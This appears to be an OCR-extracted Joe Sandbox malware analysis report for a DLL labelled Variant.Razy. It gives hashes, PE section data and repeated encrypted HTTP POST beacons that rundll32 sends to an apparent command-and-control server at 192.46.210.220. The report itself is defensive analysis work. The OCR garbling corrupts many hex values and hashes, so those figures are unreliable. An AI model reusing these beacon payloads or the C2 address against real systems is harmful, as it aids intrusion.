https://view.joesandbox.com/analysis/401405/html/none?idtype=webid
https://view.joesandbox.com/analysis/401402/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401402/html/none?idtype=webid
https://view.joesandbox.com/analysis/401401/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401401/html/none?idtype=webid
https://view.joesandbox.com/analysis/401400/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401400/html/none?idtype=webid
https://view.joesandbox.com/analysis/401399/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401399/html/none?idtype=webid
https://view.joesandbox.com/analysis/401397/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401397/html/none?idtype=webid
https://view.joesandbox.com/analysis/401395/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401395/html/none?idtype=webid
https://view.joesandbox.com/analysis/401393/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401393/html/none?idtype=webid
https://view.joesandbox.com/analysis/401392/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401392/html/none?idtype=webid
https://view.joesandbox.com/analysis/401391/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401391/html/none?idtype=webid
https://view.joesandbox.com/analysis/401390/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401390/html/none?idtype=webid
https://view.joesandbox.com/analysis/401388/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401388/html/none?idtype=webid
https://view.joesandbox.com/analysis/401418/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401418/html/none?idtype=webid
https://view.joesandbox.com/analysis/401417/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401417/html/none?idtype=webid
https://view.joesandbox.com/analysis/401415/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401415/html/none?idtype=webid
https://view.joesandbox.com/analysis/401413/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401413/html/none?idtype=webid
https://view.joesandbox.com/analysis/401412/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401412/html/none?idtype=webid
https://view.joesandbox.com/analysis/401411/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401411/html/none?idtype=webid
https://view.joesandbox.com/analysis/401407/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401407/html/none?idtype=webid
https://view.joesandbox.com/analysis/401406/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401406/html/none?idtype=webid
https://view.joesandbox.com/analysis/401405/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401405/html/none?idtype=webid
https://view.joesandbox.com/analysis/401402/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401402/html/none?idtype=webid
https://view.joesandbox.com/analysis/401401/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401401/html/none?idtype=webid
https://view.joesandbox.com/analysis/401400/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401400/html/none?idtype=webid
https://view.joesandbox.com/analysis/401399/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401399/html/none?idtype=webid
https://view.joesandbox.com/analysis/401397/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401397/html/none?idtype=webid
https://view.joesandbox.com/analysis/401395/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401395/html/none?idtype=webid
https://view.joesandbox.com/analysis/401393/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401393/html/none?idtype=webid
https://view.joesandbox.com/analysis/401392/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401392/html/none?idtype=webid
https://view.joesandbox.com/analysis/401391/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401391/html/none?idtype=webid
https://view.joesandbox.com/analysis/401390/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401390/html/none?idtype=webid
https://view.joesandbox.com/analysis/401388/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401388/html/none?idtype=webid

General

TriD:

File name:
File size:
MD5:
SHA1L:
SHA256:

SHAS512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static PE Info

General

Entrypoint:

Entrypoint Section:
Digitally signed:
Imagebase:

Subsystem:

Image File Characteristics:
DLL Characteristics:

Time Stamp:

TLS Callbacks:

CLR (.Net) Version:

OS Version Major:

OS Version Minor:

File Version Major:

File Version Minor:
Subsystem Version Major:
Subsystem Version Minor:

Import Hash:

Entrypoint Preview

Data Directories

Sections

Name Virtual Address Virtual Size Raw Size
text 0x1000 Oxc5e2f 0xc6000
.rdata 0xc7000 0x80aec 0x80c00
.data  0x148000 0x13ba0 0x1800

Copyright Joe Security LLC 2021

ZLIB Complexity
0.442065922901

0.534103837985

0.1875

74f0e4ecccdceOed

0x4336b0
text
false
0x400000

windows gui

e Win32 Dynamic Link Library (generic) (1002004/3)
99.60%

e Generic Win/DOS Executable (2004/3) 0.20%

e DOS Executable Generic (2002/1) 0.20%

e Autodesk FLIC Image File (extensions: flc, fli, cel)
(7/3) 0.00%

Securitelnfo.com.Variant.Razy.980776.8232.dll
1375232
6df0687582c592e9860683a68858e082
53780def0699c055381746cedecebef8f17fd12d

90877ec621cc53fc31e693362e3b335a429aecc?7abdbfd
8b7d5d7493478f36d

43c27e2af87306bd6389af980e50dffc2b219868881dbla
026d56eef7b012f94d11426cf82338901c7e950b463ele7
a8e8f0f7563040a3b5c013b4a39906a376

24576:anxgsL+DvNdnhMr5Lo6dOGcuQNrSH9d6N9eY
WitZgDxxxSPnsqz7puATt5csRbu7i:actk82uAJTI7EPsw

LLITh

is program cannot be run in DOS mode....$.
iy fen i~ Jereens s

32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

DYNAMIC_BASE, NX_COMPAT

0x5BBD73BC [Wed Oct 10 03:36:28 2018 UTC]

o o O o O o

cche70d6d0d02f6248ca160d6a0bb85h

File Type

data

data

DOS executable (block device
driverpyright)

Entropy Characteristics

6.47813133498 IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

5.52051601648 IMAGE_SCN_CNT_INITIALIZED
_DATA,
IMAGE_SCN_MEM_READ

3.99635070896 IMAGE_SCN_CNT_INITIALIZED

_DATA,
IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ
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Name Virtual Address Virtual Size Raw Size

.reloc 0x15c000 0x72b4 0x7400

Imports

Exports

Network Behavior

Network Port Distribution

TCP Packets

DNS Answers

Timestamp Source IP Dest IP

Oct 28, 2021
05:01:42.914350033
CEST

8.8.8.8 192.168.2.6

HTTP Request Dependency Graph

e 192.46.210.220

HTTPS Proxied Packets

Session ID Source IP Source Port

0 192.168.2.6 49747
kBytes

Timestamp transferred Direction

2021-10-28 02:57:58 UTC 0 ouT

2021-10-28 02:57:58 UTC 0 ouT

2021-10-28 02:57:59 UTC 4 IN

Session ID Source IP Source Port

1 192.168.2.6 49749
kBytes

Timestamp transferred Direction

2021-10-28 02:58:01 UTC 4 ouT

Copyright Joe Security LLC 2021

Xored PE

Trans ID

0x739b

ZLIB Complexity File Type Entropy Characteristics
False 0.710264008621 data 6.69742088731 IMAGE_SCN_CNT_INITIALIZED

_DATA,
IMAGE_SCN_MEM_DISCARDA
BLE, IMAGE_SCN_MEM_READ

Reply Code Name CName Address Type Class

No error (0) prda.aadg. www.tm.a.prd.aadg.akadn CNAME IN (0x0001)

msidentity.com  s.net (Canonical
name)

Destination IP  Destination Port Process

192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache

Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 ¢9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a 7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c
a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(IMFVz @*mRk7k7;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"]>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:57:59 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination Port Process
C:\Windows\SysWOW64\rundll32.exe

Destination IP
192.46.210.220 443

Data

POST / HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache
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kBytes
Timestamp transferred

2021-10-28 02:58:01 UTC 5

2021-10-28 02:58:02 UTC 9

Session ID Source IP

10 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:58:20 UTC 49

2021-10-28 02:58:20 UTC 49

2021-10-28 02:58:21 UTC 54

Session ID Source IP

11 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:58:23 UTC 54

2021-10-28 02:58:23 UTC 54

2021-10-28 02:58:23 UTC 59

Session ID Source IP

12 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:58:25 UTC 59

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49796

Direction

ouT

ouT

Source Port
49801

Direction
ouT

ouT

Source Port
49803

Direction

ouT

Data

Data Raw: e3 Ob 66 a3 10 08 27 a5 5c¢ b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8¢ 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 1la
49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 ¢5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec e5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1l cc 6f fd 37 Oc 85 1b b4 e9 c8 37 cc f0 0a a2 70 be {7 bb c5 89 e5 el 46
d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: f\V?LsBRfoH(IMFVz @*mRk7kV;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFIALmS#Qf$Z: [>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:58:02 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process

192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache

Data Raw: 46 8c 83 6e 10 08 27 a5 5¢ b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 dO 5d 17 8c 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec 5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9¢
a838b1948efc27018900f27871a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(IMFVz @*mRk7k7;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"]>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:58:21 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache

Data Raw: e3 Ob 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c¢8 63 97 5d 23 fa 2a 14 6f de d4 la
4998 d0 cd 3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec e5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46
d0 8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: f\V?LsBRfoH(IMFVz @*mRk7kV;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFIA1mS#Qf$Z:"]>hd68'xqz
HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:58:23 GMT

Content-Type: text/plain; charset=utf-8

Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST / HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache

Page 16 of 48



kBytes
Timestamp transferred

2021-10-28 02:58:25 UTC 59

2021-10-28 02:58:25 UTC 64

Session ID Source IP

13 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:58:27 UTC 64

2021-10-28 02:58:27 UTC 64

2021-10-28 02:58:28 UTC 69

Session ID Source IP

14 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:58:28 UTC 69

2021-10-28 02:58:28 UTC 69

2021-10-28 02:58:29 UTC 74

Session ID Source IP

15 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:58:31 UTC 74

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49809

Direction

ouT

ouT

Source Port
49811

Direction
ouT

ouT

Source Port
49817

Direction

ouT

Data

Data Raw: 46 8c 83 6e 10 08 27 a5 5¢ b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd 9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8¢ 00 53 ff 67 eb 60 f6 41 72 31 97 dO 5d 17 8c 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec €5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1l cc 6f fd 37 Oc 85 1b b4 e9 c8 37 cc f0 0a a2 70 be {7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9¢
a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(iIMFVz @*mRk7k7;Sg Arl]>pL2LeTc]#*ol+$.{5:lhkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"1>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:58:25 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process

192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache

Data Raw: e3 Ob 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
0556 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a
49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 ¢5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec e5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be 7 bb c5 89 e5 el 46
d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a838 b1 94 8efc27018900f27871a6 14 7a

Data Ascii: f\V?LsBRfoH(IMFVz @*mRk7kV;Sg Arl]>pL2LeTc]#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFIA1mS#Qf$Z:"]>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:58:28 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP  Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache

Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a 7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8¢ 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c
a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(IMFVz @*mRk7k7;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"]>hd68'xqz
HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:58:29 GMT

Content-Type: text/plain; charset=utf-8

Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST / HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache
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kBytes
Timestamp transferred

2021-10-28 02:58:31 UTC 74

2021-10-28 02:58:32 UTC 79

Session ID Source IP

16 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:58:32 UTC 79

2021-10-28 02:58:32 UTC 79

2021-10-28 02:58:33 UTC 84

Session ID Source IP

17 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:58:35 UTC 84

2021-10-28 02:58:35 UTC 84

2021-10-28 02:58:36 UTC 89

Session ID Source IP

18 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:58:36 UTC 89

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49819

Direction

ouT

ouT

Source Port
49825

Direction
ouT

ouT

Source Port
49827

Direction

ouT

Data

Data Raw: e3 Ob 66 a3 10 08 27 a5 5c¢ b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8¢ 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 1la
49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 ¢5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec e5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1l cc 6f fd 37 Oc 85 1b b4 e9 c8 37 cc f0 0a a2 70 be {7 bb c5 89 e5 el 46
d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: f\V?LsBRfoH(IMFVz @*mRk7kV;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiIALmS#Qf$Z: [>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:58:32 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process

192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache

Data Raw: 46 8c 83 6e 10 08 27 a5 5¢ b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 dO 5d 17 8c 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec 5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1l cc 6f fd 37 Oc 85 1b b4 €9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9¢
a838b1948efc27018900f27871a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(IMFVz @*mRk7k7;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"]>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:58:33 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache

Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c¢8 63 97 5d 23 fa 2a 14 6f de d4 la
4998 d0 cd 3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec e5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46
d0 8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: f\V?LsBRfoH(IMFVz @*mRk7kV;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFIA1mS#Qf$Z:"]>hd68'xqz
HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:58:36 GMT

Content-Type: text/plain; charset=utf-8

Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST / HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache
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kBytes
Timestamp transferred

2021-10-28 02:58:36 UTC 89

2021-10-28 02:58:37 UTC 94

Session ID Source IP

19 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:58:39 UTC 94

2021-10-28 02:58:39 UTC 94

2021-10-28 02:58:40 UTC 99

Session ID Source IP

2 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:58:04 UTC 9

2021-10-28 02:58:04 UTC 10

2021-10-28 02:58:05 UTC 14

Session ID Source IP

20 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:58:40 UTC 99

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49833

Direction

ouT

ouT

Source Port
49758

Direction
ouT

ouT

Source Port
49836

Direction

ouT

Data

Data Raw: 46 8c 83 6e 10 08 27 a5 5¢ b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd 9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8¢ 00 53 ff 67 eb 60 f6 41 72 31 97 dO 5d 17 8c 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec 5 70 19 be 24 33
